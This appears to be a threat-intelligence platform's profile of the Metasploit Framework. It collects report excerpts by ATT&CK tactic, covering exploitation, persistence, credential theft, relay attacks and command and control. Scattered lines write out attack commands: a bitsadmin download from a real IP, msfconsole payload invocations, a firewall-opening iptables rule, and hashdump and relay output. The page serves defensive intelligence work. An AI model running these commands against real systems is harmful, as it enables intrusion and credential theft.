Metasploit
- Type
- Loader
- Capabilities
- ReconnaissanceScanningInitial accessPost exploitationCredential theftLateral movementDefense evasion
- Delivery
- Phishing
- Platforms
- WindowsLinuxAndroid
Metasploit Framework is an open-source penetration-testing and exploitation framework used for authorized security assessments and abused by threat actors. It is a dual-use toolset rather than a distinct malware family. Its modular architecture supports reconnaissance, service scanning, vulnerability exploitation, payload generation, session handling, and post-exploitation. The msfvenom utility generates and encodes platform-specific payloads, including reverse shells and Meterpreter agents. Supported payload workflows include Windows and Linux systems, Android applications, and Java-based environments.
Metasploit exploits can establish remote command execution, deliver Meterpreter, or deploy separate implants such as Cobalt Strike Beacon. Meterpreter supports interactive post-exploitation, network routing and proxy-based pivoting, and credential extraction through extensions such as kiwi. Encoding facilities transform payload representations but do not guarantee evasion of modern endpoint defenses.
Malicious use spans multiple unrelated operators. Guacamaya used a modified Metasploit module to exploit Exchange ProxyLogon, establish a Meterpreter session, extract privileged service-account credentials, and pivot internally during an intrusion targeting Guatemalan nickel-mining organizations. Metasploit is also associated with FIN7 tooling, while Arra Ghouls infrastructure has contained a Metasploit reverse shell. Its widespread availability and legitimate security uses mean that detecting the framework alone does not establish malicious intent or threat-actor attribution.
Associated vulnerabilities
54 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
42 more CVEs associated with this family tracked in Mallory.
Associated threat actors
47 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Families swept: Cobalt Strike, Empire / Starkiller, Metasploit, Loader panels (shared/commodity tooling, attribution scored below)
This CVE-2026-16232 script is purportedly an adaptation of the Metasploit module for the same function.
Judging by the characteristic column names that ended up in the event log, they may have used the Metasploit Framework penetration testing tool for port scanning.
Guacamaya scanned the public Exchange server, confirmed ProxyLogon, adjusted a Metasploit module, and obtained a Meterpreter session.
+41 more in the app. View in Mallory
Techniques & procedures
153 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
3 techniques
Reconnaissance
The module confirms the missing check, enumerates a configurable ID range, and loots the disclosed usage records.
インテリジェンス収集で得た情報を対象に、脆弱性スキャンやペネトレーションテストツールを自動化する方法を学習しました。 はじめに、OpenVAS の環境構築及びスキャンを行い、その情報を metasploit に渡すことでペネトレーションテストの自動化を行いました。
Nmap Scripting Engine превращает сканер портов в инструмент для Vulnerability Scanning (T1595.002, Reconnaissance)
Resource Development
4 techniques
Resource Development
APT actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as wkHPd.exe.
The operator leverages the open-source Exegol framework directly on its C2.
« Escalade de privilèges : ... EternalBlue (MS17-010) ».
Annotations ID Technique Tactic T1608 Stage Capabilities Resource Development
Initial Access
9 techniques
Initial Access
“GL Inet Login Scanner created. It works on all instances with Luci” and example use: “set USERNAME root”, “set PASSWORD <test_password>”, followed by “run” and “[+] Success / [-] Failed.”
"security: None/None identity: UserName, Certificate, Anonymous" and "endpoint accepts anonymous clients over an unencrypted channel."
When an exception occurs during the database health check (db.check) and the environment variable MSF_WS_JSON_RPC_API_TOKEN is not explicitly set, the application resets the internal state flag msf.auth_initialized to false. The ApiToken Warden authentication strategy ... grant[s] unauthenticated local access to the JSON-RPC request dispatcher.
The code from this URL appears to have been generated from Metasploit with a module for the Safari User-Assisted Download and Run Attack.
Guacamaya scanned the public Exchange server, confirmed ProxyLogon, adjusted a Metasploit module, and obtained a Meterpreter session.
"a compromise at the hosting provider level allowed threat actors to hijack update traffic starting June 2025 and selectively redirect such requests from certain users to malicious servers ... to serve a tampered update by exploiting insufficient update verification controls"
Mobile spying is often the goal of remote threat actors who commonly use social engineering to trick potential victims into installing a malicious application
Simulated attacks using Unicorn, Cobalt Strike, and Metasploit. These tests all include macros and a Office Product spawning a process.
The phishing emails contained a link to the domain docs.google.com.spreadsheets.d.1ip6eeakdebmwteh36vana4hu-glaeksstsht-boujdk.zhblz[.]com where John Hammond’s reCAPTCHA Phish POC was used to deliver Metasploit payloads
Execution
22 techniques
Execution
Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.
modules/exploits/multi/persistence/at.rb
A fix for Windows local administrator logon rights had already been added, but it disappeared from the msf-only path when a SYSTEM scheduled task fallback was introduced.
Tools SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit
Actors installed and used Metasploit via PowerShell on the organization’s domain controller.
Post-exploitation tooling executes commands on compromised Windows systems through the Meterpreter/command execution workflow.
Attackers also leverage built-in scripting languages like Bash, Python, Perl, PHP, and Ruby to craft custom reverse shell payloads that blend in with legitimate processes.
Import the malicious JAR file into JD-GUI... This will allow us to decompile and explore the contents of the JAR file... After importing the malicious JAR file into JD-GUI, we identify several key components... phNGgjyA.exe : An executable dropped during dynamic analysis, confirming its link to the JAR file.
“In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell.”
"The safeEjs sandbox escape rendered attacker-controlled JavaScript."
Критический элемент - splice() . Этот системный вызов (T1106, Native API) передаёт данные через ссылки на страницы page cache, не копируя их.
we can see that this is effectively being copied into “$gB” which is then invoked in a “CreateThread” function ultimately meaning that the base64 content is executed.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
"Leverage CVE-2026-88772 to crash nsppe and indirectly relaunch monuploadd which then triggers the CVE-2026-88771 injection."
ClickFix social engineering tricked victims into executing PowerShell via fake reCAPTCHA
Теперь попробуем собрать тестовый исполняемый файл и закинуть его на смартфон... После успешного создания файла ... перекидываем его ... на целевой смартфон.
Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration
Replace all cmd_exec/PowerShell wrappers with kernel32 Railgun calls (CreateFileW, WriteFile, CloseHandle) for named pipe communication
The room uses Metasploit `exploit/windows/smb/psexec` with SMB credentials to execute a payload on the target.
there was nothing to prevent an adversary from using a write memory primitive to change the code in the temporary buffer... Now that we have the location of the temporary native code buffer, we can modify its contents in order to inject our shellcode.
If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.
"Fix unquoted service path restart"
Persistence
24 techniques
Persistence
Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.
modules/exploits/multi/persistence/at.rb
A fix for Windows local administrator logon rights had already been added, but it disappeared from the msf-only path when a SYSTEM scheduled task fallback was introduced.
“GL Inet Login Scanner created. It works on all instances with Luci” and example use: “set USERNAME root”, “set PASSWORD <test_password>”, followed by “run” and “[+] Success / [-] Failed.”
"security: None/None identity: UserName, Certificate, Anonymous" and "endpoint accepts anonymous clients over an unencrypted channel."
Submitting password change for author #1... Password for author #1 changed to: jxeMazSFJkhj1rTX
We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).
[*] Configuring payload and stager registry keys ... [*] Cleaning up registry keys ...
When an exception occurs during the database health check (db.check) and the environment variable MSF_WS_JSON_RPC_API_TOKEN is not explicitly set, the application resets the internal state flag msf.auth_initialized to false. The ApiToken Warden authentication strategy ... grant[s] unauthenticated local access to the JSON-RPC request dispatcher.
Rapid7 followed up with the addition of an unauthenticated RCE exploit module in the Metasploit pen-test tool and confirmed that remote code execution is achieved by leveraging the vulnerability to create a new admin account...
The Metasploit automation creates a local administrator account on compromised hosts.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
Next, the threat actor is uploading a malicious plugin that allows web shell commands on the server ... This plugin contains a Java class named cmd.jsp that is a backdoor
Two minimal JSP command-execution webshells (Linux and Windows variants, plus a Metasploit-generated WAR payload) sit in the toolkit, staged against Tomcat hosts reached after VPN pivoting.
"feat: new persistence/elf module"; "ElfInjector"; "lib/msf/core/exe/elf_injector.rb"; architecture-specific files for AArch64, x64, and x86; and "documentation/modules/exploit/linux/persistence/elf.md".
modules/exploits/linux/persistence/init_systemd.rb
Actors created a Windows Service via Metasploit.
modules/exploits/linux/persistence/init_openrc.rb
modules/exploits/linux/persistence/udev.rb
After something writes a unit file to disk, systemctl enable <name> allows systemd to load it as a service at boot, and systemctl start <name> executes the commands specified by the service file on demand.
Adding an entry to the “run keys” in the registry will cause the app referenced to be executed when a user logs in... Threat actors can use these configuration locations to execute malware to maintain persistence through system reboots.
The change concerns the Metasploit module `exploit/windows/persistence/registry_userinit`, which reports "Registry likely exploitable" when its configured writable directory is usable.
login hook osx persistence module use exploit/osx/persistence/login_hook set session <session> set WritableDir /var/root run RUN_NOW true
“CVE-2018-10933: improve libssh banner detection” and reference to Metasploit module “auxiliary/scanner/ssh/libssh_auth_bypass.rb.”
Privilege Escalation
23 techniques
Privilege Escalation
Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism.
modules/exploits/multi/persistence/at.rb
A fix for Windows local administrator logon rights had already been added, but it disappeared from the msf-only path when a SYSTEM scheduled task fallback was introduced.
“The main payload... injects it into a subprocess. The payload itself stays in memory.”
"use exploit/linux/local/pihole_logrotate_lpe" ... "/etc/pihole/logrotate" ... "pihole flush once" | "pihole lpe" and "use exploit/linux/local/pihole_logrotate_lpe"
“GL Inet Login Scanner created. It works on all instances with Luci” and example use: “set USERNAME root”, “set PASSWORD <test_password>”, followed by “run” and “[+] Success / [-] Failed.”
"security: None/None identity: UserName, Certificate, Anonymous" and "endpoint accepts anonymous clients over an unencrypted channel."
Submitting password change for author #1... Password for author #1 changed to: jxeMazSFJkhj1rTX
We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).
action_remove aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first } ... Removed 1 matching ACE.
Conversation Fix ACE SID comparion in RBCD module ... msf auxiliary(admin/ldap/rbcd) > read ... Allowed accounts: ... msf auxiliary(admin/ldap/rbcd) > remove ... Removed 1 matching ACE. [+] Successfully updated the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
"feat: new persistence/elf module"; "ElfInjector"; "lib/msf/core/exe/elf_injector.rb"; architecture-specific files for AArch64, x64, and x86; and "documentation/modules/exploit/linux/persistence/elf.md".
modules/exploits/linux/persistence/init_systemd.rb
Actors created a Windows Service via Metasploit.
modules/exploits/linux/persistence/init_openrc.rb
modules/exploits/linux/persistence/udev.rb
After something writes a unit file to disk, systemctl enable <name> allows systemd to load it as a service at boot, and systemctl start <name> executes the commands specified by the service file on demand.
Adding an entry to the “run keys” in the registry will cause the app referenced to be executed when a user logs in... Threat actors can use these configuration locations to execute malware to maintain persistence through system reboots.
The change concerns the Metasploit module `exploit/windows/persistence/registry_userinit`, which reports "Registry likely exploitable" when its configured writable directory is usable.
login hook osx persistence module use exploit/osx/persistence/login_hook set session <session> set WritableDir /var/root run RUN_NOW true
Le module « dispatche le payload root via ctrl-service / cmsSnmpTrap » et ouvre une session Meterpreter avec « Server username: root ».
Copy Fail - local privilege escalation, техника T1068 (Exploitation for Privilege Escalation) по MITRE ATT&CK, с маппингом на T1548.001 (Setuid and Setgid): эксплойт злоупотребляет setuid-бинарём для получения root.
exploit/windows/local/fodhelper_uac_bypass ... [*] UAC is Enabled, checking level ... [+] Part of Administrators group! Continuing ... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing ... [*] Executing payload: C:\Windows\System32\cmd.exe /c C:\Windows\System32\fodhelper.exe
Stealth
33 techniques
Stealth
“Traversal succeeded with page-templates at depth 4” and “The target is vulnerable. Unauthenticated LFI outside the active theme confirmed.”
“The crypter includes a predefined 5-round shikata_ga_nai encoded Metasploit meterpreter bind payload.”
To resolve the API Hashes manually, we need to determine the point where the hashes are finally resolved to an API Name. | Function calls within ShellCode are almost always made via API hashing. This means that there will be no function names within the code, as all calls are made via a hash and a hash-resolving function.
Azure user account downloaded bitmap.exe ... to execute an obfuscated, embedded malicious payload from its C2 server.
“its main purpose is to conceal the real identity and functionality of a payload from antivirus software” and the crypter encrypts the supplied payload using Camellia-256-CBC.
"randomised registers, instruction forms and init-block ordering on every run."
"camouflaged process spawn with PEB cmdline masking."
“The main payload... injects it into a subprocess. The payload itself stays in memory.”
“Restoring CouchDB state” ... “[+] Cleanup complete.”
Чтобы на компьютерах и мобильных устройствах не осталось следов тестирования ... Удаление приложения ... Найдите созданные файлы логов ... Перенесите их в корзину и обязательно очистите ее.
Timestomping is a technique where the timestamps of a file are modified for defence evasion. Threat actors often perform this technique to blend malicious files with legitimate files so that when an analyst is performing IR, critical evidence escapes detection.
“GL Inet Login Scanner created. It works on all instances with Luci” and example use: “set USERNAME root”, “set PASSWORD <test_password>”, followed by “run” and “[+] Success / [-] Failed.”
"security: None/None identity: UserName, Certificate, Anonymous" and "endpoint accepts anonymous clients over an unencrypted channel."
action_remove aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first } ... Removed 1 matching ACE.
Conversation Fix ACE SID comparion in RBCD module ... msf auxiliary(admin/ldap/rbcd) > read ... Allowed accounts: ... msf auxiliary(admin/ldap/rbcd) > remove ... Removed 1 matching ACE. [+] Successfully updated the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
“a separate decrypter needs to take up the key, IV and ciphertext ... decrypt it in memory and execute the final payload on the target system.”
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
This expanded chain of processes highlights the file’s ability to use various legitimate system utilities, such as rundll32.exe and icacls.exe, to execute its payloads and maintain persistence, demonstrating its sophistication in evading detection.
"set fetch_command CERTUTIL"
Technique 7 – Installutil.exe This method can be executed in like this: InstallUtil.exe /U C:\poc\evil.dll ... Update – 12.01.2018: ... this method is indeed able to bypass the default rules ... the tool compiles a InstallUtil payload ... I got a remote shell
This module is a quick port to Metasploit and uses mshta.exe to execute the payload.
it is possible to bypass AppLocker script rules by calling the regsrv32 utility to execute a command or arbitrary code through .sct files.
The content references "rundll32.exe" alongside generation of a Windows AArch64 PE DLL payload.
Add Elasticsearch Tika XFA XXE module ... use auxiliary/scanner/http/elasticsearch_tika_xfa_xxe ... set FILEPATH /etc/hostname ... check run
Command: run post/windows/gather/checkvm Status: complete ... [+] This is a Hyper-V Virtual Machine running on physical host HYPERV
The relevant code reveals its cross-platform capabilities: IS_AIX : Indicates that the malware checks for files in Java directories specific to AIX, a Unix-based operating system. addExtension : Appends the .exe extension for Windows systems but omits it for Linux, showing awareness of OS-specific file conventions.
"sleep-obfuscation PS snippet generator."
Actors used -w hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
there was nothing to prevent an adversary from using a write memory primitive to change the code in the temporary buffer... Now that we have the location of the temporary native code buffer, we can modify its contents in order to inject our shellcode.
If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.
"Fix unquoted service path restart"
A deserialization flaw in IBM WebSphere Application Server's SAML Web Single Sign-On component allows a low-privilege authenticated attacker to achieve remote code execution by injecting a crafted serialized Java object into a client-side cookie that the server blindly trusts.
The full exploit chain is remarkably streamlined: DTLS handshake with any self-signed certificate → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set → send Hello message → peer transitions to UP state as a fully trusted control-plane node.
Defense Impairment
6 techniques
Defense Impairment
[*] Configuring payload and stager registry keys ... [*] Cleaning up registry keys ...
The linux/x86/chmod payload changes the file permissions of the supplied FILE argument to 666... EAX => 0xf => sys_chmod syscall.
“CVE-2018-10933: improve libssh banner detection” and reference to Metasploit module “auxiliary/scanner/ssh/libssh_auth_bypass.rb.”
Relay logs state: "Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`".
"selective event-log channel clearing."
This exploit drops the firewall to allow access to the web administration interface on port 80... execute_command ( "`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`" , "" )
Credential Access
26 techniques
Credential Access
"What is the NTLM hash of the pirate user" followed by the Meterpreter command "hashdump" and the resulting Administrator, Guest, and pirate account NTLM hashes.
"...started dumping credentials from LSASS process memory... Sysmon logs captured the GrantedAccess value of 0x1010... indicator of injected code performing the dump..."
"The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive... to perform password cracking [T1003.003]."
«Post-exploitation модули ... credential dumping ... network sniffing (T1040), перемещение между сегментами».
Trojans will often steal information that is being entered into a machine (i.e. a keylogger)
"Pentest team reported MSSQL and SSH login scanners were not printing target info"; referenced components include "auth_brute", "ssh_login.rb", and "mssql_login" with login results such as "msfadmin:msfadmin".
ssh_login: Support BLANK_PASSWORDS, USER_AS_PASS & ANONYMOUS_LOGIN
"Using the SMB login scanner and the provided wordlist" ... "set SMBUSER penny" ... "set PASS_FILE ... MetaploitWordlist.txt".
Now we could feed this list into any of the following tools to do the login attack: DomainPasswordSpray.ps1 ... CrackMapExec ... Hydra ... WARNING: Before running any login attack, we should be always aware of the corporate password policy to prevent user lockouts.
The test invokes "auxiliary/scanner/dcerpc/petitpotam" against 192.168.64.3 with a specified listener, after which the relay server receives SMB/NTLM authentication.
Adds auxiliary/gather module for CVE-2026-5006... reads secrets outside the credential's intended scope, with no root or admin token.
Worse, he could snag a copy of your session cookie and hijack your session completely, and read and write webmail on your behalf.
we got the password for ssh ... The Credential that I got in Metasploit I used it for SSH to login.
"nessus secrets gather"; "use post/linux/gather/nessus_secrets"; ".nessus"
"Vulnerable build ID found: alcHhWTGd50Ebs_MOMzhr and encryption key successfully leaked"
Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password.
This module extracts Mikrotik's RouterOS Administration Credentials and stores username and passwords in database.
“CVE-2018-10933: improve libssh banner detection” and reference to Metasploit module “auxiliary/scanner/ssh/libssh_auth_bypass.rb.”
“Add native Kerberos relay stack and ESC8 (AD CS Web Enrollment) target” and “running the DNS server under the Kerberos relay coercion workflow.”
`[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to SMB!` followed by an SMB session listing `ADMIN$`, `C$`, `NETLOGON`, and `SYSVOL` shares. | Metasploit's `http_to_ldap` and `http_to_smb` relay modules receive NTLM Type 1 and Type 3 messages from 172.16.199.100 and relay them to 172.16.199.200 over LDAP (389) and SMB (445). The relay succeeds as `KERBEROS\Administrator`.
“Fix DNS forward/cache path for relay-driven poisoning” and “Three issues surfaced while running the DNS server under the Kerberos relay coercion workflow.”
Foundation for native Kerberos relay support. Introduces the Msf::Exploit::Remote::Relay::Kerberos namespace... with an ApReqExtractor mixin that pulls a captured AP-REQ out of a client's GSS-API token... ready to forward to a relay target unchanged. | The AP-REQ is carried, never interpreted: the client identity lives in its encrypted ticket/authenticator which only the real target decrypts... build_spnego_ap_req re-wraps that captured AP-REQ into a fresh GSS-SPNEGO blob to send to the real service.
#################### # Kerberos Credential: FORGE_GOLDEN TGT ####################
FORGE_SILVER FORGE_SILVER TGS
Through these techniques, threat actors abuse certificate templates which don’t require manager approval and include enrollment rights for low privileged users / groups.
“ESC8 (AD CS Web Enrollment) target.”
Discovery
14 techniques
Discovery
SNMP-сервис радостно выдал имена хостов, интерфейсы и запущенные процессы.
It then enumerates the Active Directory domain, computer objects, and domain controllers.
After exploiting stratford-srv01, the walkthrough executes "whoami" and receives "root".
«Post-exploitation модули ... credential dumping ... network sniffing (T1040), перемещение между сегментами».
“switch to the repo tcp/port:22 convention,” “network/detection/mikrotik-ssh-detect.yaml,” and “nuclei -validate.”
To find these modules, an often leveraged shellcode technique is to interact with the Process Environment Block (shortened as PEB). As can be observed in figure 4, to access the PEB, the shellcode accesses the Thread Environment Block (TEB) which is immediately accessible through a register.
“id ... uid=33(www-data) ... hostname ... uname -a ... Linux ... x86_64.”
After the EternalBlue session is obtained, the walkthrough runs "search -f flag.txt" before reading "c:\\Users\\Administrator\\Desktop\\flag.txt".
The post-exploitation workflow enumerates Active Directory accounts and domain information.
Command: run post/windows/gather/enum_shares ... [*] No network shares were found
Command: run post/windows/gather/checkvm Status: complete ... [+] This is a Hyper-V Virtual Machine running on physical host HYPERV
The relevant code reveals its cross-platform capabilities: IS_AIX : Indicates that the malware checks for files in Java directories specific to AIX, a Unix-based operating system. addExtension : Appends the .exe extension for Windows systems but omits it for Linux, showing awareness of OS-specific file conventions.
"sleep-obfuscation PS snippet generator."
Command: run post/windows/gather/enum_applications
Lateral Movement
7 techniques
Lateral Movement
GOLD KINGSWOOD is a cybercriminal group that uses tactics more commonly associated with government-sponsored threat actors to infiltrate the internal networks of financial institutions around the globe.
Metasploit: used as a C2 server in the post-exploitation phase for obtaining reverse shell and for brute-forcing SMB shares and RDP connections
"Add an ARM64 DLL with a PAYLOAD: buffer and to_winaarch64pe_dll so SMB fetch can be restored."
Ensure the warnings no longer appear when running winrm against metasploitablee so these warnings no longer appear: bundle && bundle exec ruby ./msfconsole --no-defer-module-loads -qx 'use windows/winrm/winrm_script_exec; run username=vagrant password=vagrant rhost=10.140.10.33 payload=windows/x64/meterpreter/bind_tcp'
«Exploitation of Remote Services (T1210, Lateral Movement)»; «Metasploit — подтверждение exploitability, получение shell, демонстрация lateral movement (T1210)».
[*] Obtained a SmartConsole SSO ticket [*] Redeemed the SmartConsole SSO ticket
The output captures and displays `NTLMv1-SSP Hash` and `NTLMv2-SSP Hash` values for `KERBEROS\Administrator`; the module option also supports storing John the Ripper-compatible hashes.
Collection
9 techniques
Collection
The last payload to dissect is linux/x86/read_file... reads the file specified using the PATH argument (/etc/hostname)... sys_open, sys_read, and sys_write [are used] to output the read contents.
Trojans will often steal information that is being entered into a machine (i.e. a keylogger)
The custom screenshot tool takes photos that it saves to a password-protected ZIP archive for exfiltration
Proof of Concepts or Metasploit exploits were also released for 2020 issues in Apache OFBiz (CSRF, CVE-2019-0235 )
Imagine you went to an attackers site while you had your webmail open in another window — the attacker could scrape your e-mail data and see what your browser sees.
“Add native Kerberos relay stack and ESC8 (AD CS Web Enrollment) target” and “running the DNS server under the Kerberos relay coercion workflow.”
`[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to SMB!` followed by an SMB session listing `ADMIN$`, `C$`, `NETLOGON`, and `SYSVOL` shares. | Metasploit's `http_to_ldap` and `http_to_smb` relay modules receive NTLM Type 1 and Type 3 messages from 172.16.199.100 and relay them to 172.16.199.200 over LDAP (389) and SMB (445). The relay succeeds as `KERBEROS\Administrator`.
“Fix DNS forward/cache path for relay-driven poisoning” and “Three issues surfaced while running the DNS server under the Kerberos relay coercion workflow.”
At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.
Command and Control
12 techniques
Command and Control
"Malleable C2 profile generator for cdn/office365/github/slack personas" and "persona-appropriate Content-Type/cache headers."
Retrieve Meterpreter Java payloads from, and establish sessions to, 194.180.48[.]134.
"randomised Malleable C2 profile generator" creates unique "URIs, headers and token prefixes" for cdn/office365/github/slack personas; reverse HTTP applies decoy HTTP headers.
DisabledForLocalAddresses X-Forwarded-For
this IP address exhibits lots of open ports (39) which includes a Metasploit server on port 3790. We also found multiple ports with traits of SOCKS5 proxy such as on port 7691.
Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
The Sysdig rule 'Reverse Shell Detected' ... tags : [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]
Support command execution, command staging, direct x64 payloads, and external or in-process PowerShell payload delivery.
A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell.
The operation uses ports such as 18443 and other non-standard service/callback ports for attacker infrastructure.
The authors developed proof-of-concept tools, including a TCP port scanner using AT commands, an S3 bucket enumerator, a SOCKS5 proxy that routes traffic through the cellular module, and a Metasploit proxy module.
malware operators have also been adopting TLS for essentially the same reasons: to prevent defenders from detecting and stopping deployment of malware and theft of data.
Impact
4 techniques
Impact
Impact - Transmitted Data Manipulation (T1565.002) или Service Stop (T1489): запись значений в регистры ПЛК, остановка контроллера, модификация логики управления.
If exploited, a remote and unauthenticated attacker can execute arbitrary code on vulnerable systems or cause a denial of service.
[*] Sending the XStream deserialization payload
Impact - Transmitted Data Manipulation (T1565.002) или Service Stop (T1489): запись значений в регистры ПЛК, остановка контроллера, модификация логики управления.
Observables
57 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.